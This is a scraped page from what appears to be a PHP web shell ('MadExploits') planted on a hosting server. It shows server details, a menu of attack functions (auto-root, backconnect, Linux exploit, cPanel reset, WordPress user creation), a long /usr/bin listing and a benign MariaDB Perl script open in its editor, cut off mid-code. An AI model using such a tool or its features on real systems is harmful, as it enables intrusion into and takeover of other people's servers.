Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
7za
46
B
-rwxr-xr-x
GET
15.84
KB
-rwxr-xr-x
Mail
408.89
KB
-rwxr-xr-x
[
53.67
KB
-rwxr-xr-x
aclocal
35.62
KB
-rwxr-xr-x
aclocal-1.16
35.62
KB
-rwxr-xr-x
addr2line
33.41
KB
-rwxr-xr-x
animate
11.84
KB
-rwxr-xr-x
ar
61.96
KB
-rwxr-xr-x
arch
37.41
KB
-rwxr-xr-x
arpaname
11.82
KB
-rwxr-xr-x
as
889.91
KB
-rwxr-xr-x
aspell
159.5
KB
-rwxr-xr-x
at
1.01
KB
-rwxr-xr-x
atq
1.01
KB
-rwxr-xr-x
atrm
1.02
KB
-rwxr-xr-x
autoconf
14.42
KB
-rwxr-xr-x
autoheader
8.33
KB
-rwxr-xr-x
autom4te
31.43
KB
-rwxr-xr-x
automake
251.9
KB
-rwxr-xr-x
automake-1.16
251.9
KB
-rwxr-xr-x
autoreconf
20.57
KB
-rwxr-xr-x
autoscan
16.72
KB
-rwxr-xr-x
autoupdate
33.08
KB
-rwxr-xr-x
awk
669.77
KB
-rwxr-xr-x
b2sum
57.76
KB
-rwxr-xr-x
base32
41.55
KB
-rwxr-xr-x
base64
41.56
KB
-rwxr-xr-x
basename
37.49
KB
-rwxr-xr-x
bash
1.1
MB
-rwxr-xr-x
bashbug-64
7.18
KB
-rwxr-xr-x
batch
137
B
-rwxr-xr-x
bison
437.72
KB
-rwxr-xr-x
bunzip2
36.86
KB
-rwxr-xr-x
bzcat
36.86
KB
-rwxr-xr-x
bzcmp
2.08
KB
-rwxr-xr-x
bzdiff
2.08
KB
-rwxr-xr-x
bzgrep
1.64
KB
-rwxr-xr-x
bzip2
36.86
KB
-rwxr-xr-x
bzip2recover
16.44
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
c++
1.21
MB
-rwxr-x---
c++filt
28.89
KB
-rwxr-xr-x
c89
224
B
-rwxr-x---
c99
215
B
-rwxr-x---
cagefs_enter.proxied
1.03
KB
-rwxr-xr-x
cal
65.98
KB
-rwxr-xr-x
captoinfo
85.31
KB
-rwxr-xr-x
cat
37.54
KB
-rwxr-xr-x
catchsegv
3.21
KB
-rwxr-xr-x
cc
1.21
MB
-rwxr-x---
chcon
70.43
KB
-rwxr-xr-x
chgrp
66.35
KB
-rwxr-xr-x
chmod
62.29
KB
-rwxr-xr-x
chown
70.39
KB
-rwxr-xr-x
chrt
37.18
KB
-rwxr-xr-x
cksum
37.46
KB
-rwxr-xr-x
cldetect
10.35
KB
-rwxr-xr-x
clear
12.54
KB
-rwxr-xr-x
clusterdb
70.23
KB
-rwxr-xr-x
cmp
103.76
KB
-rwxr-xr-x
col
29
KB
-rwxr-xr-x
colcrt
16.48
KB
-rwxr-xr-x
colrm
24.88
KB
-rwxr-xr-x
column
49.47
KB
-rwxr-xr-x
comm
41.63
KB
-rwxr-xr-x
compare
11.85
KB
-rwxr-xr-x
composite
11.84
KB
-rwxr-xr-x
conjure
11.84
KB
-rwxr-xr-x
convert
11.84
KB
-rwxr-xr-x
cp
148.05
KB
-rwxr-xr-x
cpan
8.17
KB
-rwxr-xr-x
cpp
1.21
MB
-rwxr-xr-x
createdb
70.22
KB
-rwxr-xr-x
createuser
74.63
KB
-rwxr-xr-x
crontab
1.49
KB
-rwxr-xr-x
crontab.cagefs
54.16
KB
-rwxr-xr-x
csplit
53.76
KB
-rwxr-xr-x
curl
230.09
KB
-rwxr-xr-x
cut
49.59
KB
-rwxr-xr-x
date
106.03
KB
-rwxr-xr-x
dbiprof
6.06
KB
-rwxr-xr-x
dd
78.05
KB
-rwxr-xr-x
delv
42.46
KB
-rwxr-xr-x
df
91.16
KB
-rwxr-xr-x
diff
268.01
KB
-rwxr-xr-x
diff3
128.6
KB
-rwxr-xr-x
dig
162.19
KB
-rwxr-xr-x
dir
139.97
KB
-rwxr-xr-x
dircolors
49.63
KB
-rwxr-xr-x
dirname
33.44
KB
-rwxr-xr-x
display
11.84
KB
-rwxr-xr-x
dnstap-read
20.43
KB
-rwxr-xr-x
dropdb
66.02
KB
-rwxr-xr-x
dropuser
65.99
KB
-rwxr-xr-x
du
107.1
KB
-rwxr-xr-x
echo
37.43
KB
-rwxr-xr-x
egrep
28
B
-rwxr-xr-x
enc2xs
40.97
KB
-rwxr-xr-x
enchant
21.08
KB
-rwxr-xr-x
enchant-lsmod
13.09
KB
-rwxr-xr-x
env
41.43
KB
-rwxr-xr-x
eps2eps
639
B
-rwxr-xr-x
eqn
232.16
KB
-rwxr-xr-x
ex
1.13
MB
-rwxr-xr-x
expand
41.66
KB
-rwxr-xr-x
expr
49.65
KB
-rwxr-xr-x
factor
86.05
KB
-rwxr-xr-x
false
33.39
KB
-rwxr-xr-x
fc-cache
132
B
-rwxr-xr-x
fc-cache-64
20.35
KB
-rwxr-xr-x
fc-cat
16.35
KB
-rwxr-xr-x
fc-conflist
12.25
KB
-rwxr-xr-x
fc-list
12.25
KB
-rwxr-xr-x
fc-match
16.26
KB
-rwxr-xr-x
fc-pattern
12.26
KB
-rwxr-xr-x
fc-query
12.24
KB
-rwxr-xr-x
fc-scan
12.26
KB
-rwxr-xr-x
fc-validate
16.26
KB
-rwxr-xr-x
fgrep
28
B
-rwxr-xr-x
file
24.68
KB
-rwxr-xr-x
find
223.3
KB
-rwxr-xr-x
flex
428.45
KB
-rwxr-xr-x
flex++
428.45
KB
-rwxr-xr-x
flock
33.2
KB
-rwxr-xr-x
fmt
45.57
KB
-rwxr-xr-x
fold
41.48
KB
-rwxr-xr-x
free
20.79
KB
-rwxr-xr-x
freetype-config
4.31
KB
-rwxr-xr-x
funzip
36.63
KB
-rwxr-xr-x
g++
1.21
MB
-rwxr-x---
gawk
669.77
KB
-rwxr-xr-x
gcc
1.21
MB
-rwxr-x---
gcc-ar
36.66
KB
-rwxr-xr-x
gcc-nm
36.66
KB
-rwxr-xr-x
gcc-ranlib
36.66
KB
-rwxr-xr-x
gcov
1.31
MB
-rwxr-xr-x
gcov-dump
570.88
KB
-rwxr-xr-x
gcov-tool
607.75
KB
-rwxr-xr-x
gem
542
B
-rwxr-xr-x
gencat
24.84
KB
-rwxr-xr-x
geoiplookup
21.89
KB
-rwxr-xr-x
geoiplookup6
21.65
KB
-rwxr-xr-x
geqn
232.16
KB
-rwxr-xr-x
getconf
32.46
KB
-rwxr-xr-x
getent
33.13
KB
-rwxr-xr-x
getopt
20.52
KB
-rwxr-xr-x
ghostscript
12.35
KB
-rwxr-xr-x
git
3.67
MB
-rwxr-xr-x
git-receive-pack
3.67
MB
-rwxr-xr-x
git-shell
2.13
MB
-rwxr-xr-x
git-upload-archive
3.67
MB
-rwxr-xr-x
git-upload-pack
3.67
MB
-rwxr-xr-x
gm
7.82
KB
-rwxr-xr-x
gmake
235.32
KB
-rwxr-xr-x
gneqn
908
B
-rwxr-xr-x
gnroff
3.23
KB
-rwxr-xr-x
gpg
1.04
MB
-rwxr-xr-x
gpg-agent
419.29
KB
-rwxr-xr-x
gpg-error
34.16
KB
-rwxr-xr-x
gpg-zip
3.44
KB
-rwxr-xr-x
gpgsplit
87.02
KB
-rwxr-xr-x
gpgv
451.58
KB
-rwxr-xr-x
gpic
293.84
KB
-rwxr-xr-x
gprof
103.36
KB
-rwxr-xr-x
grep
193.63
KB
-rwxr-xr-x
groff
124.92
KB
-rwxr-xr-x
grops
191.14
KB
-rwxr-xr-x
grotty
141.9
KB
-rwxr-xr-x
groups
37.47
KB
-rwxr-xr-x
gs
12.35
KB
-rwxr-xr-x
gsnd
277
B
-rwxr-xr-x
gsoelim
42.55
KB
-rwxr-xr-x
gtar
448.99
KB
-rwxr-xr-x
gtbl
154.61
KB
-rwxr-xr-x
gtroff
805.02
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gzexe
6.23
KB
-rwxr-xr-x
gzip
94.67
KB
-rwxr-xr-x
h2ph
28.69
KB
-rwxr-xr-x
h2xs
59.44
KB
-rwxr-xr-x
head
45.58
KB
-rwxr-xr-x
hexdump
57.5
KB
-rwxr-xr-x
host
142.3
KB
-rwxr-xr-x
hostid
33.41
KB
-rwxr-xr-x
hostname
21.16
KB
-rwxr-xr-x
hunspell
144.7
KB
-rwxr-xr-x
iconv
61.44
KB
-rwxr-xr-x
id
45.52
KB
-rwxr-xr-x
identify
11.84
KB
-rwxr-xr-x
idn
39.41
KB
-rwxr-xr-x
ifnames
4.03
KB
-rwxr-xr-x
import
11.84
KB
-rwxr-xr-x
infocmp
61.05
KB
-rwxr-xr-x
infotocap
85.31
KB
-rwxr-xr-x
install
156.25
KB
-rwxr-xr-x
instmodsh
4.1
KB
-rwxr-xr-x
ionice
28.98
KB
-rwxr-xr-x
ipcrm
28.99
KB
-rwxr-xr-x
ipcs
53.39
KB
-rwxr-xr-x
isosize
24.88
KB
-rwxr-xr-x
ispell
988
B
-rwxr-xr-x
join
53.77
KB
-rwxr-xr-x
kill
37.27
KB
-rwxr-xr-x
ld
1.71
MB
-rwxr-x---
ld.bfd
1.71
MB
-rwxr-x---
ldd
5.31
KB
-rwxr-xr-x
less
173.76
KB
-rwxr-xr-x
lessecho
12.4
KB
-rwxr-xr-x
lesskey
21.99
KB
-rwxr-xr-x
lesspipe.sh
3.07
KB
-rwxr-xr-x
lex
428.45
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
libtool
359.11
KB
-rwxr-xr-x
libtoolize
126.17
KB
-rwxr-xr-x
link
33.41
KB
-rwxr-xr-x
ln
70.57
KB
-rwxr-xr-x
locale
56.45
KB
-rwxr-xr-x
localedef
307.47
KB
-rwxr-xr-x
logger
49.98
KB
-rwxr-xr-x
login
40.96
KB
-rwxr-xr-x
logname
33.42
KB
-rwxr-xr-x
look
16.45
KB
-rwxr-xr-x
ls
139.97
KB
-rwxr-xr-x
lynx
1.84
MB
-rwxr-xr-x
m4
185.56
KB
-rwxr-xr-x
mail
408.89
KB
-rwxr-xr-x
mailx
408.89
KB
-rwxr-xr-x
make
235.32
KB
-rwxr-xr-x
make-dummy-cert
610
B
-rwxr-xr-x
mariadb
4.34
MB
-rwxr-xr-x
mariadb-access
109.34
KB
-rwxr-xr-x
mariadb-admin
3.88
MB
-rwxr-xr-x
mariadb-binlog
4.14
MB
-rwxr-xr-x
mariadb-check
3.88
MB
-rwxr-xr-x
mariadb-conv
3.59
MB
-rwxr-xr-x
mariadb-convert-table-format
4.12
KB
-rwxr-xr-x
mariadb-dump
3.96
MB
-rwxr-xr-x
mariadb-dumpslow
8.05
KB
-rwxr-xr-x
mariadb-embedded
22.59
MB
-rwxr-xr-x
mariadb-find-rows
3.21
KB
-rwxr-xr-x
mariadb-hotcopy
34.15
KB
-rwxr-xr-x
mariadb-import
3.87
MB
-rwxr-xr-x
mariadb-plugin
3.57
MB
-rwxr-xr-x
mariadb-secure-installation
13.49
KB
-rwxr-xr-x
mariadb-setpermission
17.56
KB
-rwxr-xr-x
mariadb-show
3.87
MB
-rwxr-xr-x
mariadb-slap
3.89
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
3.57
MB
-rwxr-xr-x
mariadb-waitpid
3.55
MB
-rwxr-xr-x
mc
1.3
MB
-rwxr-xr-x
mcdiff
1.3
MB
-rwxr-xr-x
mcedit
1.3
MB
-rwxr-xr-x
mcookie
33.26
KB
-rwxr-xr-x
mcview
1.3
MB
-rwxr-xr-x
md5sum
45.62
KB
-rwxr-xr-x
mesg
16.36
KB
-rwxr-xr-x
mkdir
82.79
KB
-rwxr-xr-x
mkfifo
66.56
KB
-rwxr-xr-x
mknod
70.55
KB
-rwxr-xr-x
mktemp
45.73
KB
-rwxr-xr-x
mogrify
11.84
KB
-rwxr-xr-x
montage
11.84
KB
-rwxr-xr-x
more
44.94
KB
-rwxr-xr-x
msql2mysql
1.41
KB
-rwxr-xr-x
mv
144.03
KB
-rwxr-xr-x
my_print_defaults
3.56
MB
-rwxr-xr-x
mysql
4.34
MB
-rwxr-xr-x
mysql_config
4.51
KB
-rwxr-xr-x
mysql_find_rows
3.21
KB
-rwxr-xr-x
mysql_waitpid
3.55
MB
-rwxr-xr-x
mysqlaccess
109.34
KB
-rwxr-xr-x
mysqladmin
3.88
MB
-rwxr-xr-x
mysqlbinlog
4.14
MB
-rwxr-xr-x
mysqlcheck
3.88
MB
-rwxr-xr-x
mysqldump
3.96
MB
-rwxr-xr-x
mysqlimport
3.87
MB
-rwxr-xr-x
mysqlshow
3.87
MB
-rwxr-xr-x
mytop
71.95
KB
-rwxr-xr-x
namei
33.1
KB
-rwxr-xr-x
nano
247.94
KB
-rwxr-xr-x
neqn
908
B
-rwxr-xr-x
nice
37.41
KB
-rwxr-xr-x
nl
45.63
KB
-rwxr-xr-x
nm
50.38
KB
-rwxr-xr-x
nohup
37.48
KB
-rwxr-xr-x
nproc
37.48
KB
-rwxr-xr-x
nroff
3.23
KB
-rwxr-xr-x
nslookup
146.26
KB
-rwxr-xr-x
nsupdate
73.05
KB
-rwxr-xr-x
numfmt
65.71
KB
-rwxr-xr-x
objcopy
240.07
KB
-rwxr-xr-x
objdump
419.76
KB
-rwxr-xr-x
od
73.88
KB
-rwxr-xr-x
openssl
745.95
KB
-rwxr-xr-x
pango-list
11.88
KB
-rwxr-xr-x
pango-view
57.44
KB
-rwxr-xr-x
passwd
1.02
KB
-rwxr-xr-x
paste
37.46
KB
-rwxr-xr-x
patch
206.46
KB
-rwxr-xr-x
pathchk
37.41
KB
-rwxr-xr-x
pdf2dsc
698
B
-rwxr-xr-x
pdf2ps
909
B
-rwxr-xr-x
perl
12.44
KB
-rwxr-xr-x
perl5.26.3
12.44
KB
-rwxr-xr-x
perlbug
44.39
KB
-rwxr-xr-x
perldoc
118
B
-rwxr-xr-x
perlivp
10.56
KB
-rwxr-xr-x
perlml
6.86
KB
-rwxr-xr-x
perlthanks
44.39
KB
-rwxr-xr-x
pg_dump
399.43
KB
-rwxr-xr-x
pg_dumpall
107.11
KB
-rwxr-xr-x
pg_restore
173.34
KB
-rwxr-xr-x
pgrep
28.84
KB
-rwxr-xr-x
php
937
B
-rwxr-xr-x
pic
293.84
KB
-rwxr-xr-x
piconv
8.08
KB
-rwxr-xr-x
pinentry
2.35
KB
-rwxr-xr-x
pinentry-curses
77.89
KB
-rwxr-xr-x
ping
66.13
KB
-rwxr-xr-x
pinky
41.53
KB
-rwxr-xr-x
pkg-config
40.04
KB
-rwxr-xr-x
pkgconf
40.04
KB
-rwxr-xr-x
pkill
28.84
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pmap
32.78
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.68
KB
-rwxr-xr-x
pod2text
10.55
KB
-rwxr-xr-x
pod2usage
3.86
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
podselect
2.47
KB
-rwxr-xr-x
post-grohtml
238.73
KB
-rwxr-xr-x
pr
82.23
KB
-rwxr-xr-x
pre-grohtml
130.55
KB
-rwxr-xr-x
precat
5.52
KB
-rwxr-xr-x
preunzip
5.52
KB
-rwxr-xr-x
prezip
5.52
KB
-rwxr-xr-x
prezip-bin
11.98
KB
-rwxr-xr-x
printenv
33.4
KB
-rwxr-xr-x
printf
53.64
KB
-rwxr-xr-x
prove
13.24
KB
-rwxr-xr-x
ps
134.75
KB
-rwxr-xr-x
ps2ascii
631
B
-rwxr-xr-x
ps2epsi
2.69
KB
-rwxr-xr-x
ps2pdf
272
B
-rwxr-xr-x
ps2pdf12
215
B
-rwxr-xr-x
ps2pdf13
215
B
-rwxr-xr-x
ps2pdf14
215
B
-rwxr-xr-x
ps2pdfwr
1.07
KB
-rwxr-xr-x
ps2ps
647
B
-rwxr-xr-x
ps2ps2
669
B
-rwxr-xr-x
psql
644.33
KB
-rwxr-xr-x
ptx
78.07
KB
-rwxr-xr-x
pwd
37.5
KB
-rwxr-xr-x
pwdx
12.68
KB
-rwxr-xr-x
python2
7.84
KB
-rwxr-xr-x
python2.7
7.84
KB
-rwxr-xr-x
python3
11.59
KB
-rwxr-xr-x
python3.6
11.59
KB
-rwxr-xr-x
python3.6m
11.59
KB
-rwxr-xr-x
ranlib
61.98
KB
-rwxr-xr-x
raw
16.49
KB
-rwxr-xr-x
readelf
624.54
KB
-rwxr-xr-x
readlink
45.96
KB
-rwxr-xr-x
realpath
50.02
KB
-rwxr-xr-x
recode
47.03
KB
-rwxr-xr-x
reindexdb
70.32
KB
-rwxr-xr-x
rename
16.5
KB
-rwxr-xr-x
renew-dummy-cert
725
B
-rwxr-xr-x
renice
16.46
KB
-rwxr-xr-x
replace
3.54
MB
-rwxr-xr-x
reset
24.76
KB
-rwxr-xr-x
rev
12.45
KB
-rwxr-xr-x
rm
70.47
KB
-rwxr-xr-x
rmdir
45.54
KB
-rwxr-xr-x
rnano
247.94
KB
-rwxr-xr-x
rsync
510.15
KB
-rwxr-xr-x
ruby
11.84
KB
-rwxr-xr-x
run-with-aspell
85
B
-rwxr-xr-x
runcon
37.45
KB
-rwxr-xr-x
rvi
1.13
MB
-rwxr-xr-x
rview
1.13
MB
-rwxr-xr-x
rvim
2.93
MB
-rwxr-xr-x
scalar
2.18
MB
-rwxr-xr-x
scl
36.87
KB
-rwxr-xr-x
scl_enabled
258
B
-rwxr-xr-x
scl_source
1.82
KB
-rwxr-xr-x
scp
102.85
KB
-rwxr-xr-x
screen
482.46
KB
-rwxr-xr-x
script
36.79
KB
-rwxr-xr-x
sdiff
105.33
KB
-rwxr-xr-x
sed
115.48
KB
-rwxr-xr-x
selectorctl
7.63
KB
-rwxr-xr-x
seq
53.52
KB
-rwxr-xr-x
setsid
16.38
KB
-rwxr-xr-x
setterm
45.12
KB
-rwxr-xr-x
sftp
159.74
KB
-rwxr-xr-x
sh
1.1
MB
-rwxr-xr-x
sha1sum
45.63
KB
-rwxr-xr-x
sha224sum
45.66
KB
-rwxr-xr-x
sha256sum
45.66
KB
-rwxr-xr-x
sha384sum
45.66
KB
-rwxr-xr-x
sha512sum
45.66
KB
-rwxr-xr-x
shred
61.94
KB
-rwxr-xr-x
shuf
58.16
KB
-rwxr-xr-x
size
33.25
KB
-rwxr-xr-x
skill
28.8
KB
-rwxr-xr-x
slabtop
20.84
KB
-rwxr-xr-x
sleep
37.47
KB
-rwxr-xr-x
snice
28.8
KB
-rwxr-xr-x
soelim
42.55
KB
-rwxr-xr-x
sort
123.55
KB
-rwxr-xr-x
spell
122
B
-rwxr-xr-x
splain
18.7
KB
-rwxr-xr-x
split
58.13
KB
-rwxr-xr-x
sprof
28.67
KB
-rwxr-xr-x
sqlite3
1.28
MB
-rwxr-xr-x
ssh
757.54
KB
-rwxr-xr-x
ssh-add
346.13
KB
-rwxr-xr-x
ssh-agent
325.58
KB
-rwxr-xr-x
ssh-copy-id
10.44
KB
-rwxr-xr-x
ssh-keygen
427.16
KB
-rwxr-xr-x
ssh-keyscan
428.57
KB
-rwxr-xr-x
stat
86.23
KB
-rwxr-xr-x
stdbuf
49.58
KB
-rwxr-xr-x
strace
1.94
MB
-rwxr-xr-x
stream
11.83
KB
-rwxr-xr-x
strings
37.43
KB
-rwxr-xr-x
strip
240.09
KB
-rwxr-xr-x
stty
77.68
KB
-rwxr-xr-x
sum
45.61
KB
-rwxr-xr-x
sync
37.43
KB
-rwxr-xr-x
tabs
16.55
KB
-rwxr-xr-x
tac
41.57
KB
-rwxr-xr-x
tail
74.2
KB
-rwxr-xr-x
tar
448.99
KB
-rwxr-xr-x
taskset
37.25
KB
-rwxr-xr-x
tbl
154.61
KB
-rwxr-xr-x
tclsh
9.04
KB
-rwxr-xr-x
tclsh8.6
9.04
KB
-rwxr-xr-x
tee
41.55
KB
-rwxr-xr-x
test
53.63
KB
-rwxr-xr-x
tic
85.31
KB
-rwxr-xr-x
timeout
41.93
KB
-rwxr-xr-x
tload
16.76
KB
-rwxr-xr-x
tmpwatch
35.47
KB
-rwxr-xr-x
toe
16.45
KB
-rwxr-xr-x
top
121.7
KB
-rwxr-xr-x
touch
94.02
KB
-rwxr-xr-x
tput
24.8
KB
-rwxr-xr-x
tr
49.7
KB
-rwxr-xr-x
traceroute
70.97
KB
-rwxr-xr-x
troff
805.02
KB
-rwxr-xr-x
true
33.4
KB
-rwxr-xr-x
truncate
41.44
KB
-rwxr-xr-x
tset
24.76
KB
-rwxr-xr-x
tsort
41.57
KB
-rwxr-xr-x
tty
33.39
KB
-rwxr-xr-x
tzselect
15.01
KB
-rwxr-xr-x
uapi
1.02
KB
-rwxr-xr-x
ul
20.58
KB
-rwxr-xr-x
uname
37.41
KB
-rwxr-xr-x
unexpand
45.68
KB
-rwxr-xr-x
uniq
49.72
KB
-rwxr-xr-x
unlink
33.41
KB
-rwxr-xr-x
unzip
201.88
KB
-rwxr-xr-x
unzipsfx
101.48
KB
-rwxr-xr-x
uptime
12.59
KB
-rwxr-xr-x
users
37.47
KB
-rwxr-xr-x
utmpdump
28.66
KB
-rwxr-xr-x
vacuumdb
78.46
KB
-rwxr-xr-x
vdir
139.97
KB
-rwxr-xr-x
vi
1.13
MB
-rwxr-xr-x
view
1.13
MB
-rwxr-xr-x
vim
2.93
MB
-rwxr-xr-x
vimdiff
2.93
MB
-rwxr-xr-x
vimtutor
2.07
KB
-rwxr-xr-x
vmstat
36.79
KB
-rwxr-xr-x
watch
29.19
KB
-rwxr-xr-x
wc
49.72
KB
-rwxr-xr-x
wget
521.41
KB
-rwxr-xr-x
whereis
29.27
KB
-rwxr-xr-x
which
29.44
KB
-rwxr-xr-x
who
53.68
KB
-rwxr-xr-x
whoami
33.41
KB
-rwxr-xr-x
word-list-compress
11.99
KB
-rwxr-xr-x
x86_64-redhat-linux-c++
1.21
MB
-rwxr-x---
x86_64-redhat-linux-g++
1.21
MB
-rwxr-x---
x86_64-redhat-linux-gcc
1.21
MB
-rwxr-x---
x86_64-redhat-linux-gcc-8
1.21
MB
-rwxr-x---
xargs
74.11
KB
-rwxr-xr-x
xmlcatalog
20.38
KB
-rwxr-xr-x
xmllint
73.37
KB
-rwxr-xr-x
xmlwf
32.96
KB
-rwxr-xr-x
xsltproc
28.47
KB
-rwxr-xr-x
xsubpp
4.96
KB
-rwxr-xr-x
xxd
20.52
KB
-rwxr-xr-x
yes
33.45
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
5.74
KB
-rwxr-xr-x
zegrep
29
B
-rwxr-xr-x
zfgrep
29
B
-rwxr-xr-x
zforce
2.03
KB
-rwxr-xr-x
zgrep
7.4
KB
-rwxr-xr-x
zip
229
KB
-rwxr-xr-x
zipcloak
102.91
KB
-rwxr-xr-x
zipgrep
2.88
KB
-rwxr-xr-x
zipinfo
201.88
KB
-rwxr-xr-x
zipnote
97.76
KB
-rwxr-xr-x
zipsplit
97.76
KB
-rwxr-xr-x
zless
2.15
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.45
KB
-rwxr-xr-x
zsoelim
42.55
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mariadb-setpermission
#!/usr/bin/perl ## Emacs, this is -*- perl -*- mode? :-) # Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU Library General Public # License as published by the Free Software Foundation; version 2 # of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General Public License for more details. # # You should have received a copy of the GNU Library General Public # License along with this library; if not, write to the Free # Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, # MA 02110-1335 USA ## ## Permission setter for MySQL ## ## mady by Luuk de Boer (luuk@wxs.nl) 1998. ## it's made under GPL ...:-)) ## ## ############################################################################ ## History ## ## 1.0 first start of the program ## 1.1 some changes from monty and after that ## initial release in mysql 3.22.10 (nov 1998) ## 1.2 begin screen now in a loop + quit is using 0 instead of 9 ## after ideas of Paul DuBois. ## 1.2a Add Grant, References, Index and Alter privilege handling (Monty) ## 1.3 Applied patch provided by Martin Mokrejs <mmokrejs@natur.cuni.cz> ## (General code cleanup, use the GRANT statement instead of updating ## the privilege tables directly, added option to revoke privileges) ## 1.4 Remove option 6 which attempted to erroneously grant global privileges #### TODO # # empty ... suggestions ... mail them to me ... $version="1.4"; use DBI; use Getopt::Long; use strict; use vars qw($dbh $sth $hostname $opt_user $opt_password $opt_help $opt_host $opt_socket $opt_port $host $version); my $sqlhost = ""; my $user = ""; $dbh=$host=$opt_user= $opt_password= $opt_help= $opt_host= $opt_socket= ""; $opt_port=3306; read_my_cnf(); # Read options from ~/.my.cnf GetOptions("user=s","password=s","help","host=s","socket=s","port=i"); usage() if ($opt_help); # the help function ## User may have put the port with the host. if ($opt_host =~ s/:(\d+)$//) { $opt_port = $1; } if ($opt_host eq '') { $sqlhost = "localhost"; } else { $sqlhost = $opt_host; } # ask for a password if no password is set already if ($opt_password eq '') { system "stty -echo"; print "Password for user $opt_user to connect to MariaDB: "; $opt_password = <STDIN>; chomp($opt_password); system "stty echo"; print "\n"; } ## Socket takes precedence. my $dsn; my $prefix= 'mysql'; if (eval {DBI->install_driver("MariaDB")}) { $dsn ="DBI:MariaDB:;"; $prefix= 'mariadb'; } else { $dsn = "DBI:mysql:;"; } if ($opt_socket and -S $opt_socket) { $dsn .= "${prefix}_socket=$opt_socket"; } else { $dsn .= "host=$sqlhost"; if ($sqlhost ne "localhost") { $dsn .= ";port=$opt_port"; } } # make the connection to MariaDB $dbh= DBI->connect($dsn,$opt_user,$opt_password, { RaiseError => 1, PrintError => 0}) || die("Can't make a connection to the MariaDB server.\n The error: $DBI::errstr"); # the start of the program &q1(); exit(0); # the end... ##### # below all subroutines of the program ##### ### # the beginning of the program ### sub q1 { # first question ... my ($answer,$end); while (! $end) { print "#"x70; print "\n"; print "## Welcome to the permission setter $version for MariaDB.\n"; print "## made by Luuk de Boer\n"; print "#"x70; print "\n"; print "What would you like to do:\n"; print " 1. Set password for an existing user.\n"; print " 2. Create a database + user privilege for that database\n"; print " and host combination (user can only do SELECT)\n"; print " 3. Create/append user privilege for an existing database\n"; print " and host combination (user can only do SELECT)\n"; print " 4. Create/append broader user privileges for an existing\n"; print " database and host combination\n"; print " (user can do SELECT,INSERT,UPDATE,DELETE)\n"; print " 5. Create/append quite extended user privileges for an\n"; print " existing database and host combination (user can do\n"; print " SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,INDEX,\n"; print " LOCK TABLES,CREATE TEMPORARY TABLES)\n"; print " 6. Create/append full privileges for an existing database\n"; print " and host combination (user has FULL privilege)\n"; print " 7. Remove all privileges for for an existing database and\n"; print " host combination.\n"; print " (user will have all permission fields set to N)\n"; print " 0. exit this program\n"; print "\nMake your choice [1,2,3,4,5,6,7,0]: "; while (<STDIN>) { $answer = $_; chomp($answer); if ($answer =~ /^[1234567]$/) { if ($answer == 1) { setpwd(); } elsif ($answer =~ /^[234567]$/) { addall($answer); } else { print "Sorry, something went wrong. With such option number you should not get here.\n\n"; $end = 1; } } elsif ($answer == 0) { print "We hope we can help you next time \n\n"; $end = 1; } else { print "Your answer was $answer\n"; print "and that's wrong .... Try again\n"; } last; } } } ### # set a password for a user ### sub setpwd { my ($user,$pass,$host) = ""; print "\n\nSetting a (new) password for a user.\n"; $user = user(); $pass = newpass($user); $host = hosts($user); print "#"x70; print "\n\n"; print "That was it ... here is an overview of what you gave to me:\n"; print "The username : $user\n"; # print "The password : $pass\n"; print "The host : $host\n"; print "#"x70; print "\n\n"; print "Are you pretty sure you would like to implement this [yes/no]: "; my $no = <STDIN>; chomp($no); if ($no =~ /n/i) { print "Okay .. that was it then ... See ya\n\n"; return(0); } else { print "Okay ... let's go then ...\n\n"; } $user = $dbh->quote($user); $host = $dbh->quote($host); if ($pass eq '') { $pass = "''"; } else { $pass = "PASSWORD(". $dbh->quote($pass) . ")"; } my $uh= $user."@".$host; my $sth = $dbh->prepare("set password for $uh =$pass") || die $dbh->errstr; $sth->execute || die $dbh->errstr; $sth->finish; print "The password is set for user $uh.\n\n"; } ### # all things which will be added are done here ### sub addall { my ($todo) = @_; my ($answer,$good,$db,$user,$pass,$host,$priv); if ($todo == 2) { $db = newdatabase(); } else { $db = database(); } $user = newuser(); $pass = newpass("$user"); $host = newhosts(); print "#"x70; print "\n\n"; print "That was it ... here is an overview of what you gave to me:\n"; print "The database name : $db\n"; print "The username : $user\n"; # print "The password : $pass\n"; print "The host(s) : $host\n"; print "#"x70; print "\n\n"; print "Are you pretty sure you would like to implement this [yes/no]: "; my $no = <STDIN>; chomp($no); if ($no =~ /n/i) { print "Okay .. that was it then ... See ya\n\n"; return(0); } else { print "Okay ... let's go then ...\n\n"; } if ($todo == 2) { # create the database if ($db) { my $sth = $dbh->do("CREATE DATABASE $db") || $dbh->errstr; } else { print STDERR "What do you want? You wanted to create new database and add new user, right?\n"; die "But then specify databasename, please\n"; } } if ( ( !$todo ) or not ( $todo =~ 